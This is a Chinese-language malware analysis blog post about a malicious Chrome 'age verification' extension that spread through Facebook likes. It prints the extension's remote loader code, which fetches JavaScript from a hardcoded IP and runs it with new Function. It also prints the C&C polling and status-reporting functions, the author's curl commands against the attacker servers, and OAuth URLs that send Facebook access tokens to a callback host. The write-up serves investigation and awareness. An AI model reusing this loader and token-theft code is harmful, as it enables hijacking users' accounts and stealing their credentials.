http://p6.qhimg.com/t01973f13d29a883786.jpg

浏览器在我们的生活扮演一个越来越重要的角色。有了各类web应用程序后,我们把自己的私人数据放在Facebook、亚马逊或GMail等在线服务中,这也要求这些在线服务保证我们的隐私安全,因此出现了双因素认证等保护手段,但这仍然是一个薄弱的环节:一个恶意的浏览器扩展可以使所有的安全措施形同虚设。

似乎大部分人都不知道浏览器扩展的攻击性有多强。它们仍然处于不受管制的范围,因为目前并不存在防御扩展恶意软件的安全措施——你的杀毒软件根本不起作用。

在这篇文章中,我将会分享我发现并调查过的一个恶意软件扩展,它曾使我的一个朋友受到感染。我想展示这个恶意软件的功能,所以我将在这篇文章中发表所有提取出来的代码。

 

发现

在我的Facebook上,我注意到一个朋友是经常为一些奇怪的、下流的链接点赞。我发现了一个模式: 总是同一个朋友在为相同类型的链接点赞。它们总是有将近900个喜欢,没有评论,而链接后面的页面大约有30个喜欢。

http://p2.qhimg.com/t01f5850d03a4b1ae28.jpg


出于好奇,我决定去看看这是什么,所以我点击了一个链接,而这是个巨大的错误。

我立刻看到一条消息,要我在查看内容之前先验证一下年龄。

因为是这种性质的内容,验证年龄看起来似乎也很合理。不合理的地方在于,进行这个验证必须要先安装Chrome扩展。

http://p9.qhimg.com/t0168d9ead58cd552b3.png


这个扩展是一个名为viralands.com的网站提供的。

快速搜索显示,他们还另有9条明显一模一样的扩展。这些东西现在已经被移除,但在我看到它的时候,那些扩展总共拥有132265名用户。

我决定先看看扩展的代码,下面就是我发现的内容。

 http://p5.qhimg.com/t01a06f52c7c4888558.jpg


这个扩展清单十分可疑

可以从一个叫做manifest.json的扩展清单文件入手,这是一个元数据文件,里面包含扩展的一些信息,例如名称、描述、版本号、权限等。

扩展请求了以下的权限:

1

2

3

4

5

6

7

8

9

{

         "permissions": [

                "storage",

                "<all_urls>",

                "tabs",

                "webNavigation",

                "alarms"

         ]

}


安装扩展时,Chrome将会提出以下警告:

添加“敏感内容年龄验证”?

它可以:

读取和改变你在访问的网站上的所有数据。

看上去,这个扩展只会检查你的年龄,但是如果我们继续阅读清单文件,我们发现以下内容:

{

             "background": {

                          "scripts": [

"scripts/query-string.js",

                                       "scripts/install.js",

                                       "background.js"

                          ],

                          "persistent": true

             },

             "content_security_policy": "script-src blob: filesystem: chrome-extension-resource: 'self' 'unsafe-eval'; object-src 'self'"

}


所以总的来说,它想要持续运行3个脚本(这意味着它们不能被暂停),这样就能够从所有的地方获取数据、存储,并评估存储的代码是否安全。

让我们看看这三个脚本(background.js, query-string.js和install.js)。

 

年龄验证是个幌子

background.js脚本很短,它只会做一件事:在安装扩展时,它会打开一个弹出消息。

弹出来的是一个简单的HTML表单,你可以在里面输入你的生日并按“确认”。

但是那个年龄验证页面上运行的JavaScript尤其有趣:

document.querySelector('#submit').addEventListener('click', function() {

document.querySelector('#box').hidden = true;
            document.querySelector('#loading').hidden = false;
  setTimeout(function() {
                         document.querySelector('#loading').hidden = true;
                         document.querySelector('#done').hidden = false;
            }, (randomIntFromInterval(0, 2) / 2 + 0.5) * 1000);
});


是的,如果你点击了“验证”,就会显示“加载…”,然后提示“完成”,年龄验证完全是假的。


那么这背后隐藏了什么呢?这个扩展还另外运行了两个脚本,即query-string.js和install.js

让我们来看看,它实际上在做什么?

 

获取远程有效载荷

query-string.js脚本并不重要, 这只是NPMpackage的副本。

但是你永远不会相信install.js会做些什么!第133行会使你惊讶。

 programUrl = 'http://104.131.35.136:9999/jsnew.php?id=22';


这是一个外部服务器的硬编码变量,用来获取脚本。

提示:它从上面提到的服务器中获取的脚本是一个恶意软件负载。这个扩展需要下载后再安装,因为如果它想通过Chrome Webstore的安全检查,就不能附带负载。

它会从服务器获取一个脚本,然后将其存储在localStorage并执行。我们可以看到,这发生在getProgram()函数中。

function getProgram(event) {

             var xhr = new XMLHttpRequest();

             var url = programUrl;

             var querySign = url.indexOf('?') === -1 ? '?' : '&';

             

             url += querySign + 'r=' + Date.now();

             

             xhr.open('GET', url, true);

             xhr.setRequestHeader('XYZ-Extension-Id', chrome.runtime.id);

             xhr.onload = function() {

                          var code = xhr.response;

                          

                          try {

                                       var fn = new window['Function'](code);

                                       console.log('Executing loaded code');

                                       fn(); // exit if error

             

                                       localStorage.setItem('localCode', code);

                          } catch (e) {

                                       console.error(e);

                          }

                          

                          xhr.send();

             }

}


我能够用以下的cURL命令来模拟这样的请求。

curl -o external.js –header "XYZ-Extension-Id: nogheblblcgkncmpggmikmcpnjdihgdd" http://104.131.35.136:9999/jsnew.php?id=22&r=1467883037000

我得到了恶意软件的有效载荷,我叫它itexternal.js。这是一个相当长的文件,有1288行,它可以从外部服务器获取指令。

两个URL被定义在external.js的开头:

var ACTIONS_URL = 'http://159.203.99.206/api/get/';

var STATUS_URL = 'http://159.203.99.206/api/status';


第一个URL用于从服务器获取指令,第二个用于报告。这个获取指令的模型叫做指挥和控制(简称C&C)。

我们会发现扩展是如何从C&C服务器获取指令的,以及查看用getActions()函数定义的inexternal.js:

function getActions(uid) {

             var xhr = new XMLHttpRequest();

             

             xhr.open('GET', ACTIONS_URL + uid, true);

             xhr.responseType = 'json';

             

             xhr.onload = function() {

                          var data = xhr.response;

                          var actions = data && data.actions;

                          

                          if (Array.isArray(actions) && actions.length) {

                                       checkFBLogin(function(status) {

                                                    fbLoginStatus = status;

                                                    handleActions(actions);

                                       });

                          }

             };

             

             xhr.send();

}


这个uid变量是你的设备的唯一标识符,是由generateUID()生成的:

function generateUID() {

             var array = new Uint32Array(8);

             window.crypto.getRandomValues(array);

             

             return [].map.call(array, function(n) {

                          return n.toString(16)

             }).join('');

}


我运行了一次:

c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7

如果你想得到完全属于你的指令你需要创建自己的UID。为了向服务器模拟发送一个请求,我运行了一次:

curl -o actions.json http://159.203.99.206/api/get/c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7

这将返回一个JSON文件,其中包含扩展将要采取的行动的列表。下面是我得到的指令:

{

             "actions": [

                          {

                                       "actionType": "ap",

                                       "data": {

                                                    "url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions%2Cuser_about_me%2Cuser_actions.books%2Cuser_actions.music%2Cuser_actions.news%2Cuser_actions.video%2Cuser_activities%2Cuser_birthday%2Cuser_education_history%2Cuser_events%2Cuser_games_activity%2Cuser_groups%2Cuser_hometown%2Cuser_interests%2Cuser_likes%2Cuser_location%2Cuser_notes%2Cuser_photos%2Cuser_questions%2Cuser_relationship_details%2Cuser_relationships%2Cuser_religion_politics%2Cuser_status%2Cuser_subscriptions%2Cuser_videos%2Cuser_website%2Cuser_work_history%2Cfriends_about_me%2Cfriends_actions.books%2Cfriends_actions.music%2Cfriends_actions.news%2Cfriends_actions.video%2Cfriends_activities%2Cfriends_birthday%2Cfriends_education_history%2Cfriends_events%2Cfriends_games_activity%2Cfriends_groups%2Cfriends_hometown%2Cfriends_interests%2Cfriends_likes%2Cfriends_location%2Cfriends_notes%2Cfriends_photos%2Cfriends_questions%2Cfriends_relationship_details%2Cfriends_relationships%2Cfriends_religion_politics%2Cfriends_status%2Cfriends_subscriptions%2Cfriends_videos%2Cfriends_website%2Cfriends_work_history%2Cads_management%2Ccreate_event%2Ccreate_note%2Cexport_stream%2Cfriends_online_presence%2Cmanage_friendlists%2Cmanage_notifications%2Cmanage_pages%2Cphoto_upload%2Cpublish_stream%2Cread_friendlists%2Cread_insights%2Cread_mailbox%2Cread_page_mailboxes%2Cread_requests%2Cread_stream%2Crsvp_event%2Cshare_item%2Csms%2Cstatus_update%2Cuser_online_presence%2Cvideo_upload%2Cxmpp_login&response_type=token&client_id=41158896424&_rdr",

                                                    "callback": "http://159.203.99.206/api/getToken"

                                       }

                          },

                          {

                                       "actionType": "ap",

                                       "data": {

                                                    "url": "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions&response_type=token&client_id=241284008322&_rdr",

                                                    "callback": "http://159.203.99.206/api/getToken2"

                                       }

                          },

                          {

                                       "actionType": "lk",

                                       "data": {

                                                    "id": "VVideosss"

                                       }

                          }

             ]

} 


泄漏你的访问令牌

前两个行动包含了可以窃取你的访问令牌的链接。如果你加载了这些链接,该扩展将捕获你的访问令牌,并将其发送到服务器。

有了你的Facebook的访问令牌之后,恶意软件运营商会访问您的帐户。他们可以登录、发送和阅读信息、发布状态、链接、评论、文章…这就相当于你的登录凭证被偷了。

 

喜欢的Facebook页面

 

在我下载的指令中,还包括为一个叫做VVideosss的页面点赞。

让我们看看这个页面:

 http://p2.qhimg.com/t01158302fff15294c1.png

68153喜欢,这真是一个受欢迎的页面!但是受到感染的共有132265名用户,这数字差得不多,是吗?

这些页面获得的点赞似乎是从被感染的用户那里得来的,这目前只是个推测。

 

订阅YouTube频道

我没有得到任何要求订阅YouTube频道的指令,但是代码中有一个函数就是干这个的。

function sendStatus(data) {

             chrome.storage.local.get('uid', function(storage) {

                          data.id = storage.uid;

                          data.extension_id = chrome.runtime.id;

                          data.fbLoginStatus = fbLoginStatus;

                          

                          var xhr = new XMLHttpRequest();

                          

                          xhr.open('POST', STATUS_URL, true);

                          xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

                          xhr.send(queryString.stringify(data));

                          

                          console.log('Status data has been sent', data);

             });

}


将报告发送给服务器

扩展也可以通过以下功能向C&C服务器发送状态报告,:

它向服务器发送三项内容:

1.UID, 用来识别受感染的机器的ID字符串。

2.扩展ID,一个与扩展对应的字符串 (因为Chrome Webstore有多个可用的副本扩展)。

3.受感染的机器目前是否进入了Facebook。

恶意软件运营商将使用此信息来判断确切的活动规模,并将其作为在黑市上售卖时的价值衡量。

 

更多的潜在的内容

扩展总是在寻找新版本的负载。因为恶意软件可以“读取和改变你在网站上的所有数据”,其运营商可以了解到你的浏览器中发生的每一件事。

他们可以阅读你的电子邮件,偷走你所有的登录凭证、你的比特币、你的名字,甚至是你的信用卡信息。

 

我们怎样才能防止这种情况的发生?

我认为,每个人都应该远离所有的浏览器扩展,虽然它们非常有用。

谷歌可以开始标注出值得信赖的扩展,可以通过手动验证扩展或审查开发商的声誉来达到目的。

开源也是一个好方法:如果一个扩展是开源的,那么就可以发一个许可徽章。

但是当前的状态是,Chrome Webstore的运行效率并不高。

你可以报告一个扩展是恶意的,但在至少有132000用户上当之后,这些扩展才被撤下。

 

文章原文链接:https://www.anquanke.com/post/id/84235